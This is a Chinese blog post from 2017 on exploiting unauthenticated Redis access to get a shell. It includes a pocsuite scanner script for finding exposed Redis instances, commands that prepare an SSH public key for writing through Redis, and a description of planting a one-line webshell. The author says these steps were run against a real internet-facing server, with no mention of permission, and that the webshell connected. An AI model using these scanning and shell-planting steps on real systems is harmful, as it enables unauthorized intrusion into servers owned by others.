redis未授权访问getshell

redis未授权访问的问题一年前就爆了,当时刚开始学安全,还不太懂。今天借着工作的机会来搞一把,看看能不能拿下一台服务器。其实前几天就写好了一直想找个实际环境复现一下,一直没有找到,只说下大致思路。

首先redis未授权的漏洞有几个先决条件,自己搭建漏洞环境的话需要在配置文件redis.conf中修改

1、允许其他网段连接

2、关闭protected-mode

漏洞的发现可以批量跑POC,大概原理就是通过sock发带有info的payload给目标服务器,然后看返回的信息中有没有关键字。这里懒得写了,放一个网上找的pocsuite版的:

 1 #!/usr/bin/env python
 2 # -*- coding:utf-8 -*-
 3 
 4 import socket
 5 import urlparse
 6 from pocsuite.poc import POCBase, Output
 7 from pocsuite.utils import register
 8 
 9 
10 class TestPOC(POCBase):
11     vulID = '89339'
12     version = '1'
13     author = ['Anonymous']
14     vulDate = '2015-10-26'
15     createDate = '2015-10-26'
16     updateDate = '2015-10-26'
17     references = ['http://sebug.net/vuldb/ssvid-89339']
18     name = 'Redis 未授权访问 PoC'
19     appPowerLink = 'http://redis.io/'
20     appName = 'Redis'
21     appVersion = 'All'
22     vulType = 'Unauthorized access'
23     desc = '''
24         redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
25     '''
26     samples = ['']
27 
28     def _verify(self):
29         result = {}
30         payload = '\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
31         s = socket.socket()
32         socket.setdefaulttimeout(10)
33         try:
34             host = urlparse.urlparse(self.url).netloc
35             port = 6379
36             s.connect((host, port))
37             s.send(payload)
38             recvdata = s.recv(1024)
39             if recvdata and 'redis_version' in recvdata:
40                 result['VerifyInfo'] = {}
41                 result['VerifyInfo']['URL'] = self.url
42                 result['VerifyInfo']['Port'] = port
43         except:
44             pass
45         s.close()
46         return self.parse_attack(result)
47 
48     def _attack(self):
49         return self._verify()
50 
51     def parse_attack(self, result):
52         output = Output(self)
53         if result:
54             output.success(result)
55         else:
56             output.fail('Internet nothing returned')
57         return output
58 
59 register(TestPOC)

实际测试时发现这么一台外网主机存在此问题

下面尝试getshell,通常的方法有如下几种:

1、写公钥

首先在本地生产公私钥文件:

 $ssh-keygen –t rsa 

然后将公钥写入文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > eval.txt

再连接Redis写入文件,这里很不幸,连接后设置redis路径时提示了permission denied,看来不是root权限,这种方法的尝试失败

2、传webshell

用nmap扫出来开放了http80端口,看看是否能够写入一句话

菜刀是可以连接的

 -done

posted on 2017-12-12 01:11  colorway  阅读(3538)  评论(0编辑  收藏  举报